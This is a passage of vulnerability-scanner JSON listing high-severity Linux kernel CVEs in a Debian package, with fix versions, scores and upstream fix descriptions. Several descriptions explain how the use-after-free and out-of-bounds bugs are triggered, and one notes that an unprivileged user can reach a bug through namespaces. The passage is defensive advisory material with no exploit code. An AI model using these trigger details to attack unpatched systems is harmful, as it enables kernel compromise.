"https://git.kernel.org/stable/c/5d29b286c9de0b309e94b9ed083aa1a2f429434f", "https://git.kernel.org/stable/c/6aea62e433fe1b586202a5fee8b5807ce635e1d7", "https://git.kernel.org/stable/c/6d98c70fe0ba8c7708bfd5b2a5174d2086775daa", "https://git.kernel.org/stable/c/90c57310e266eb94e4a80d6b15a9ca131d2e82cb", "https://git.kernel.org/stable/c/9bad152c42b37499162367fe47867411e62fffa3", "https://git.kernel.org/stable/c/a341c091ca0bfae377747b1b59a3bd8ebe18a937", "https://git.kernel.org/stable/c/dc3ab04220667f254f4348572b2a0b3febff89fb", "https://linux.oracle.com/cve/CVE-2026-74581.html", "https://linux.oracle.com/errata/ELSA-2026-63128-0.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-74581", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-74581" ], "PublishedDate": "2026-08-21T17:16:44.363Z", "LastModifiedDate": "2026-10-16T20:17:39.94Z" }, { "VulnerabilityID": "CVE-2026-74582", "VendorIDs": [ "DSA-6466-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.105-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74582", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:7051dd6a165420b93b40a11469bd7cb0962c3559261e48f7cfc7d6d334da6771", "Title": "kernel: packet: use consistent hard_header_len in non-ring send paths", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\npacket: use consistent hard_header_len in non-ring send paths\n\npacket_snd() reads dev-\u003ehard_header_len multiple times while allocating\nand constructing an skb. Device reconfiguration can change this value\nconcurrently, for example through bonding device type changes.\n\nFor SOCK_RAW, packet_snd() can save a larger value in reserve and later\nallocate headroom using a smaller value. Moving skb-\u003edata back by reserve\nthen places it before skb-\u003ehead, and the following copy from userspace can\nattempt an out-of-bounds write.\n\npacket_sendmsg_spkt() has the same issue because it calculates its\nreservation and header offset from separate reads before dropping the RCU\nread lock to allocate the skb.\n\nAdd LL_RESERVED_SPACE_EX() for callers that already saved a header length.\nRead hard_header_len once in packet_snd() and use it for allocation and\nconstruction. In packet_sendmsg_spkt(), preserve the allocation-time value\nthrough the device lookup retry.\n\nThe separate SOCK_DGRAM consistency problem between hard_header_len and\nheader_ops-\u003ecreate is not addressed here.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:77500", "https://access.redhat.com/errata/RHSA-2026:93412", "https://access.redhat.com/security/cve/CVE-2026-74582", "https://bugzilla.redhat.com/2502593", "https://bugzilla.redhat.com/2519475", "https://bugzilla.redhat.com/2521057", "https://bugzilla.redhat.com/2532218", "https://bugzilla.redhat.com/show_bug.cgi?id=2492108", "https://bugzilla.redhat.com/show_bug.cgi?id=2492733", "https://bugzilla.redhat.com/show_bug.cgi?id=2492853", "https://bugzilla.redhat.com/show_bug.cgi?id=2507222", "https://bugzilla.redhat.com/show_bug.cgi?id=2513435", "https://bugzilla.redhat.com/show_bug.cgi?id=2516579", "https://bugzilla.redhat.com/show_bug.cgi?id=2516935", "https://bugzilla.redhat.com/show_bug.cgi?id=2516970", "https://bugzilla.redhat.com/show_bug.cgi?id=2519475", "https://bugzilla.redhat.com/show_bug.cgi?id=2524438", "https://bugzilla.redhat.com/show_bug.cgi?id=2535227", "https://bugzilla.redhat.com/show_bug.cgi?id=2540396", "https://bugzilla.redhat.com/show_bug.cgi?id=2540555", "https://bugzilla.redhat.com/show_bug.cgi?id=2546487", "https://bugzilla.redhat.com/show_bug.cgi?id=2553390", "https://bugzilla.redhat.com/show_bug.cgi?id=2554835", "https://bugzilla.redhat.com/show_bug.cgi?id=2555068", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52929", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53228", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53270", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64303", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68169", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72083", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74283", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74510", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74582", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80586", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89603", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90011", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93787", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93827", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98364", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98432", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98466", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98725", "https://errata.almalinux.org/8/ALSA-2026-77500.html", "https://errata.rockylinux.org/RLSA-2026:93412", "https://git.kernel.org/stable/c/03390aa32e669cc4ecd7d34108e2e1afc13d689d", "https://git.kernel.org/stable/c/142e287b3a25cfe909215177c23243e7fc5ae2b1", "https://git.kernel.org/stable/c/5bb10753d428aadfc356a2bfe9acea09c82a62ec", "https://git.kernel.org/stable/c/78a47127e33c340bc6d38dcc4552a094b4f5cc77", "https://git.kernel.org/stable/c/9052756290962ffb9a661bcf319e92dedaaedfed", "https://git.kernel.org/stable/c/91f041451f967cd87ed722a8f43c0b767a64f1a0", "https://git.kernel.org/stable/c/b06b6fce6d7deaf7238e09b48ce3b1125ff41acd", "https://git.kernel.org/stable/c/bcd4df60ac9481b1ceffdfe5ec38fe51dcaae812", "https://linux.oracle.com/cve/CVE-2026-74582.html", "https://linux.oracle.com/errata/ELSA-2026-93412.html", "https://lore.kernel.org/linux-cve-announce/2026082100-CVE-2026-74582-3296@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-74582", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-74582" ], "PublishedDate": "2026-08-21T17:16:44.507Z", "LastModifiedDate": "2026-10-16T20:17:40.1Z" }, { "VulnerabilityID": "CVE-2026-74583", "VendorIDs": [ "DSA-6466-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.105-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74583", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:f226e47dbea9c93b59eae2f2b043de5c8b74807470e9f61e6fb2fcf6208fcb57", "Title": "kernel: net/sched: cls_route: fix fastmap use-after-free on filter", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/sched: cls_route: fix fastmap use-after-free on filter\n\nThe route4 classifier maintains a 16-slot fastmap cache that stores raw\nstruct route4_filter pointers indexed by (id, iif). The reader\n(route4_classify) populates this cache via route4_set_fastmap() for every\nclassified packet that hits a filter. The writer (route4_delete,\nroute4_change) clears the cache via route4_reset_fastmap() before\nRCU-deferred kfree of the filter.\n\nThis creates a UAF race:\n 1. Reader walks the RCU-protected bucket chain, finds filter f\n 2. Writer unlinks f, calls route4_reset_fastmap(), then tcf_queue_work()\n 3. Reader calls route4_set_fastmap() and writes f into the cache\n *after* the writer's reset, caching a pointer about to be freed\n 4. After the RCU grace period, kfree(f) executes\n 5. Next classified packet on the same (id, iif) tuple hits the stale\n fastmap entry and reads f-\u003eres from freed memory\n\nReproduced with an mdelay(100) accelerator in route4_set_fastmap() and a\nconcurrent add/delete stress test (provided by both zdi and Santosh).\nBoth triggered KASAN slab-use-after-free reports in the route4 fastmap\npaths.\n\nFix:\nIntroduce a per-filter boolean dying flag to suppress stale fastmap\nrepublishing by in-flight readers.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:83157", "https://access.redhat.com/errata/RHSA-2026:83159", "https://access.redhat.com/security/cve/CVE-2026-74583", "https://bugzilla.redhat.com/2513277", "https://bugzilla.redhat.com/2516575", "https://bugzilla.redhat.com/2521054", "https://bugzilla.redhat.com/2521436", "https://bugzilla.redhat.com/2521498", "https://bugzilla.redhat.com/2532309", "https://bugzilla.redhat.com/2535158", "https://bugzilla.redhat.com/2540230", "https://bugzilla.redhat.com/2540323", "https://bugzilla.redhat.com/show_bug.cgi?id=2513277", "https://bugzilla.redhat.com/show_bug.cgi?id=2516575", "https://bugzilla.redhat.com/show_bug.cgi?id=2521054", "https://bugzilla.redhat.com/show_bug.cgi?id=2521436", "https://bugzilla.redhat.com/show_bug.cgi?id=2521498", "https://bugzilla.redhat.com/show_bug.cgi?id=2532309", "https://bugzilla.redhat.com/show_bug.cgi?id=2535158", "https://bugzilla.redhat.com/show_bug.cgi?id=2540230", "https://bugzilla.redhat.com/show_bug.cgi?id=2540323", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68377", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72262", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74583", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74641", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74705", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89526", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90036", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93228", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93262", "https://errata.almalinux.org/8/ALSA-2026-83159.html", "https://errata.rockylinux.org/RLSA-2026:83157", "https://git.kernel.org/stable/c/0e7a8cf8895b06d07c7311f028eba16ad742b9bc", "https://git.kernel.org/stable/c/47d7f7051253bdc02b1d245d87e38f16d31a74df", "https://git.kernel.org/stable/c/5ec9001be6d0eb527251125632ec8fe88278897f", "https://git.kernel.org/stable/c/7897198b26445b4009a057bda1986b94a99e5d5f", "https://git.kernel.org/stable/c/820f083c294ad6d319c02a7d43294f2ed2565139", "https://git.kernel.org/stable/c/a17f636c9330eac879822ce29f998e5abd1b72c1", "https://git.kernel.org/stable/c/ae9aff87025219005a2d16b4fe83d6f24643e50d", "https://git.kernel.org/stable/c/b969984b2bdc85d721ce4047cd270cd37ec705a2", "https://linux.oracle.com/cve/CVE-2026-74583.html", "https://linux.oracle.com/errata/ELSA-2026-83157.html", "https://lore.kernel.org/linux-cve-announce/2026082100-CVE-2026-74583-70cb@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-74583", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-74583" ], "PublishedDate": "2026-08-21T17:16:44.643Z", "LastModifiedDate": "2026-10-16T20:17:40.37Z" }, { "VulnerabilityID": "CVE-2026-74588", "VendorIDs": [ "DSA-6466-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.105-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74588", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:a4306d29b217eac6014d77421698eac77455a0ddca1015e3f474010111fc7b26", "Title": "kernel: sctp: keep chunk-\u003etransport in step with the list it is queued on", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsctp: keep chunk-\u003etransport in step with the list it is queued on\n\n__sctp_outq_flush_rtx() moves a gap-acked chunk onto another transport's\ntransmitted list without updating chunk-\u003etransport:\n\n\tif (chunk-\u003etsn_gap_acked) {\n\t\tlist_move_tail(\u0026chunk-\u003etransmitted_list,\n\t\t\t \u0026transport-\u003etransmitted);\n\t\tcontinue;\n\t}\n\nThe chunk then sits on a live transport's list while chunk-\u003etransport still\nnames a different one. If that transport is removed - sctp_assoc_rm_peer()\nfrom an ASCONF Delete-IP - sctp_transport_free() RCU-frees it and the chunk\nis left with a dangling pointer. sctp_assoc_rm_peer() scrubs\npeer-\u003etransmitted and asoc-\u003eoutqueue.out_chunk_list, but the chunk is on\nneither.\n\nThe pointer is not followed while tsn_gap_acked is set. A SACK that\nreneges on the TSN clears the flag, and the next SACK reaches\n\n\ttchunk-\u003etransport-\u003eflight_size -= sctp_data_size(tchunk);\n\ninside the freed transport. KASAN reports a slab-use-after-free read in\nsctp_check_transmitted(), freed from sctp_assoc_rm_peer(). Both the\nremoval and the SACKs come from the association peer.\n\nSet chunk-\u003etransport at the move. The ordinary resend path needs nothing:\nit reaches its list_move_tail() only after sctp_packet_append_chunk()\nreturned SCTP_XMIT_OK, and __sctp_packet_append_chunk() has rebound the\nchunk by then.\n\nDiscovered by XBOW, triaged by Baul Lee \u003cbaul.lee@xbow.com\u003e", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:95370", "https://access.redhat.com/security/cve/CVE-2026-74588", "https://bugzilla.redhat.com/2507721", "https://bugzilla.redhat.com/2513314", "https://bugzilla.redhat.com/2515351", "https://bugzilla.redhat.com/2515353", "https://bugzilla.redhat.com/2516278", "https://bugzilla.redhat.com/2516412", "https://bugzilla.redhat.com/2516674", "https://bugzilla.redhat.com/2521384", "https://bugzilla.redhat.com/2521419", "https://bugzilla.redhat.com/2524422", "https://bugzilla.redhat.com/2524442", "https://bugzilla.redhat.com/2524458", "https://bugzilla.redhat.com/2524475", "https://bugzilla.redhat.com/2532290", "https://bugzilla.redhat.com/2532407", "https://bugzilla.redhat.com/2552209", "https://bugzilla.redhat.com/show_bug.cgi?id=2507721", "https://bugzilla.redhat.com/show_bug.cgi?id=2513314", "https://bugzilla.redhat.com/show_bug.cgi?id=2515351", "https://bugzilla.redhat.com/show_bug.cgi?id=2515353", "https://bugzilla.redhat.com/show_bug.cgi?id=2516278", "https://bugzilla.redhat.com/show_bug.cgi?id=2516412", "https://bugzilla.redhat.com/show_bug.cgi?id=2516674", "https://bugzilla.redhat.com/show_bug.cgi?id=2521384", "https://bugzilla.redhat.com/show_bug.cgi?id=2521419", "https://bugzilla.redhat.com/show_bug.cgi?id=2524422", "https://bugzilla.redhat.com/show_bug.cgi?id=2524442", "https://bugzilla.redhat.com/show_bug.cgi?id=2524458", "https://bugzilla.redhat.com/show_bug.cgi?id=2524475", "https://bugzilla.redhat.com/show_bug.cgi?id=2532290", "https://bugzilla.redhat.com/show_bug.cgi?id=2532407", "https://bugzilla.redhat.com/show_bug.cgi?id=2552209", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64541", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68162", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68451", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68452", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72080", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72221", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72222", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74586", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74588", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74752", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80553", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80571", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80584", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89479", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89488", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98403", "https://errata.almalinux.org/9/ALSA-2026-95370.html", "https://errata.rockylinux.org/RLSA-2026:95370", "https://git.kernel.org/stable/c/1adf929121e13e0b19200bb9fef715b918d483fe", "https://git.kernel.org/stable/c/2b3b5eec8b2c30ee237e3c31a6a38de9c39d804d", "https://git.kernel.org/stable/c/5ccf35ef0ed6059cdf8b1f4606a6584d5b67166b", "https://git.kernel.org/stable/c/6575fb17230814b48b471727c8410c0aadff9274", "https://git.kernel.org/stable/c/6b9e2ea2057113f3393990ba646d2d97c719a80d", "https://git.kernel.org/stable/c/874a7c2b5e184f06134fdfde27e9ce9271bafe58", "https://git.kernel.org/stable/c/9f2cf069a9a72a2d6b97ca8b4c70e714aac99749", "https://git.kernel.org/stable/c/e2e7c1de0e226ca1b7fea2de57a6c9bca408709b", "https://linux.oracle.com/cve/CVE-2026-74588.html", "https://linux.oracle.com/errata/ELSA-2026-95370.html", "https://lore.kernel.org/linux-cve-announce/2026082212-CVE-2026-74588-29ed@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-74588", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-74588" ], "PublishedDate": "2026-08-22T16:16:30.96Z", "LastModifiedDate": "2026-10-16T20:17:42.177Z" }, { "VulnerabilityID": "CVE-2026-74597", "VendorIDs": [ "DSA-6466-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.105-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74597", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:1b8a32ac2876ffbe8b122e98e8e720b84a0e2ff9eef057b431e892b08395d94c", "Title": "kernel: ip6_tunnel: clear skb2-\u003ecb[] in ip6ip6_err()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nip6_tunnel: clear skb2-\u003ecb[] in ip6ip6_err()\n\nip6ip6_err() clones an outer IPv6 ICMP error skb, pulls it to the\nquoted inner IPv6 packet, and then passes the clone to icmpv6_send().\nThe clone still carries the outer packet's inet6_skb_parm in skb-\u003ecb.\n\nIf the outer packet had a Home Address Option, IP6CB(skb2)-\u003edsthao\nremains non-zero after skb_pull(). icmpv6_send() later calls\nmip6_addr_swap(), which uses that stale dsthao offset against the quoted\ninner packet. A malformed inner destination-options header can then make\nthe HAO lookup and address swap run past the end of the quoted packet\nand corrupt skb_shared_info.\n\nClear skb2-\u003ecb[] before pulling the quoted inner IPv6 packet so the\nreply path does not reuse metadata left by the outer IPv6 stack.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-74597", "https://git.kernel.org/stable/c/0dadb0620ab65949a8bc2439dd28ea3c942fe87d", "https://git.kernel.org/stable/c/44fe898df302e91c5ee5acbc71ffa74e78e6c183", "https://git.kernel.org/stable/c/484134e1eb07d700a73b1e4bbf3fb503e299be60", "https://git.kernel.org/stable/c/4eb15c465337b18f44716c499cd6ad63eee0ad54", "https://git.kernel.org/stable/c/64e41736a26f37ab6215bc2e6df125df05aceb08", "https://git.kernel.org/stable/c/b6816536a2990c0db44a26130a03e40b441e829b", "https://git.kernel.org/stable/c/f803c086399da277b5d0ff36a107d0f162751800", "https://git.kernel.org/stable/c/fbf40faa0414b753212494ad197542002e66ed9e", "https://linux.oracle.com/cve/CVE-2026-74597.html", "https://linux.oracle.com/errata/ELSA-2026-500377.html", "https://lore.kernel.org/linux-cve-announce/2026082214-CVE-2026-74597-98fc@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-74597", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-74597" ], "PublishedDate": "2026-08-22T16:16:32.04Z", "LastModifiedDate": "2026-10-16T20:17:45.07Z" }, { "VulnerabilityID": "CVE-2026-74615", "VendorIDs": [ "DSA-6466-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.105-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74615", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:1392bf8e7b5a2875afea05647135ff4408fc3df8184696d5b0f48c585fa92e90", "Title": "kernel: vxlan: do not arm the ageing timer on a device that is down", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nvxlan: do not arm the ageing timer on a device that is down\n\nvxlan_changelink() arms vxlan-\u003eage_timer whenever the requested ageing\ninterval differs from the configured one:\n\n\tif (conf.age_interval != vxlan-\u003ecfg.age_interval)\n\t\tmod_timer(\u0026vxlan-\u003eage_timer, jiffies);\n\nThere is no netif_running() test, so the timer is armed even on a device\nthat was never brought up. The only synchronous cancel in the driver is\nthe timer_delete_sync() in vxlan_stop(), which is .ndo_stop.\nnetif_close_many() drops devices without IFF_UP before\n__dev_close_many() runs, so that cancel is skipped for such a device.\n\nvxlan_setup() sets dev-\u003eneeds_free_netdev = true and age_timer is a\nmember of struct vxlan_dev, so free_netdev() releases the allocation the\ntimer lives in while it is still queued on a timer_base.\nexpire_timers() unlinks the entry before it loads timer-\u003efunction, so\nthe timer core writes through the freed object's list pointers:\n\n BUG: KASAN: slab-use-after-free in __run_timers+0x208/0x654\n Write of size 8 at addr ffff00001adace68 by task true/192\n __asan_store8+0x84/0xac\n __run_timers+0x208/0x654\n run_timer_softirq+0x154/0x18c\n Allocated by task 189:\n alloc_netdev_mqs+0x64/0x720\n rtnl_create_link+0x4ac/0x520\n rtnl_newlink+0x758/0xd00\n Freed by task 191:\n netdev_release+0x40/0x58\n netdev_run_todo+0x4a4/0x8c0\n rtnl_dellink+0x200/0x4e8\n\nThe rtnl operations involved are netns-scoped, so an unprivileged user\ncan perform them in a new user and network namespace.\n\nArming the timer on a down device never had an effect: vxlan_cleanup()\nreturns early on !netif_running(), and vxlan_open() arms the timer for\nany non-zero interval once the device is brought up. Add the missing\ntest.\n\nDiscovered by XBOW, triaged by Baul Lee \u003cbaul.lee@xbow.com\u003e", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-74615", "https://git.kernel.org/stable/c/26c179d47403d2f919ee914cc02c31d896b59fee", "https://git.kernel.org/stable/c/46bb297ad77680e009244f067f27d51cf5b8c7cf", "https://git.kernel.org/stable/c/619dd29045e439d0b0f8c6d4fec1af447a050680", "https://git.kernel.org/stable/c/6b095e99b9e67ea31f0c4b00260e010898253519", "https://git.kernel.org/stable/c/6b4119af544996a545cf84b16f1dbce829ba0de8", "https://git.kernel.org/stable/c/9dc561f0522c35bdd66e0646a748814a138ec4ca", "https://git.kernel.org/stable/c/b37971686ec59fb027fa4910ba16805e68fddb97", "https://git.kernel.org/stable/c/be44d79d14d7f9ae7c8ffb7272142005341b5123", "https://linux.oracle.com/cve/CVE-2026-74615.html", "https://linux.oracle.com/errata/ELSA-2026-500377.html", "https://lore.kernel.org/linux-cve-announce/2026082218-CVE-2026-74615-832f@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-74615", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-74615" ], "PublishedDate": "2026-08-22T16:16:34.143Z", "LastModifiedDate": "2026-10-16T20:17:46.847Z" }, { "VulnerabilityID": "CVE-2026-74616", "VendorIDs": [ "DSA-6466-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.105-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74616", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:95827da135aa60ae3d839dbebf317b837f3ce304f9019a19b9db2ca4c7d96095", "Title": "kernel: xdp: reject clones that overrun skb_shared_info tailroom", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nxdp: reject clones that overrun skb_shared_info tailroom\n\nxdpf_clone() clones broadcast copies into a single page and sets\nframe_sz to 